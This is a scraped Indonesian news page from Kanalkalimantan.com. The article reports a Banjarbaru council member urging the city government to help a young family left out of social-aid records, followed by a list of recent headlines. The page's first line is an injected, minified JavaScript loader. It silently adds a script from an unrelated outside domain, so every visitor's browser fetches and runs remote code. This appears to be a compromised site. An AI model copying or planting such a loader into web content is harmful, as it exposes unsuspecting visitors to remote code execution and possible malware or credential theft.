(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Tak Terdata di Bansos, Dewan Minta Pemko Banjarbaru Ulurkan Tangan


KANALKALIMANTAN.COM, BANJARBARU – Kabar menguras hati tentang pasutri muda berserta anaknya yang sempat tinggal di lorong SD tersebar di jejaring sosial media. Baik itu Facebook maupun WhatsApp. Seketika itu juga, bantuan dari berbagai pihak mulai tersalurkan kepada keluarga ini.

Tak terkecuali dari wakil rakyat yang menduduki kursi di DPRD Banjarbaru, Emi Lasari. Dalam hal ini Emi mengatakan, sedang berusaha menyiapkan tempat tinggal layak untuk keluarga AD. “Insya Allah ada sebuah rumah kontrakan kita rencananya sewa.

Sangat sedih melihat kondisi keluarga ini, apalagi ada anak kecil. Prioritas utama tempat tinggal yang layak dan kebutuhan pangan,” katanya.

Menurut politisi Partai Amanat Nasional (PAN) ini kondisi yang menimpa keluarga AD sangat memungkinkan juga terjadi di daerah lain. Dalam hal ini dirinya menyoroti langkah Pemerintah Kota (Pemko) Banjarbaru untuk segera mencari solusi atas masalah ini.

“Saya rasa Pemko harus cepat dan tanggap atas persoalan ini. Seharusnya dari pihak RT langsung melaporkan masalah ini ke pihak Kelurahan untuk selanjutmya ditindaklanjuti Dinas Sosial. Maka dengan begitu, keluarga ini bisa dibantu lewat program JPS (Jaring Pengaman Sosial),” katanya.

Dari penelusuran yang dilakukannya, Emi membeberkan bahwa keluarga AD tidak bisa masuk dalam data program bantuan sosial karena belum sempat terdata. Terlebih lagi, AD berserta Istri belum memiliki Kartu Keluarga sebagai syarat untuk menerima bantuan sosial.

Hal inilah yang membuat Emi dengan lantang meminta dan mendorong Pemko Banjarbaru untuk segera mencarikan solusi. Menurutnya bantuan kepada keluarga AD maupun keluarga lainnya yang juga tak terdaftar dalam program bantuan sosial, harus dicarikan melalui sumber lain.

“Kalau tidak masuk program bansos sekarang cari solusi. Bisa melalui sumber yang lain. Intinya saya meminta keluarga ini dan keluarga lainnya yang juga tidak masuk program, harus tetap didata dan diperhatikan,” tegas Emi. (Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell

 


Desy Arfianty

Recent Posts

KPU Banjarbaru Mulai Siapkan Pembentukan Badan Ad-hoc Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima beberapa catatan menjelang pembentukan… Read More

12 jam ago

Raperda Inisiatif Sistem Drainase Tawaran Solusi Banjir dan Genangan Air di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Persoalan banjir dan genangan air masih menjadi pekerjaan rumah (PR) yang hingga… Read More

13 jam ago

Upaya Meningkatkan Akreditasi Perpustakaan di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Kearsipan dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru menggelar sosialisasi pembinaan perpustakaan… Read More

14 jam ago

Cabang Musabaqah Syarhil Qur’an Kafilah HSU Putra Putri Lolos ke Final

KANALKALIMANTAN.COM, RANTAU - Hari ketiga Musabaqah Tilawatil Quran (MTQ) Nasional XXXV tingkat Provinsi Kalimantan Selatan… Read More

14 jam ago

65 Peserta Calon Guru Penggerak di Kabupaten Banjar Ikuti Lokakarya

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mengingatkan para tenaga pengajar bahwa yantangan di… Read More

15 jam ago

Bupati Banjar Buka Temu Teknis Penyuluh Pertanian se Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Temu Teknis Penyuluh Pertanian se Kabupaten… Read More

15 jam ago

This website uses cookies.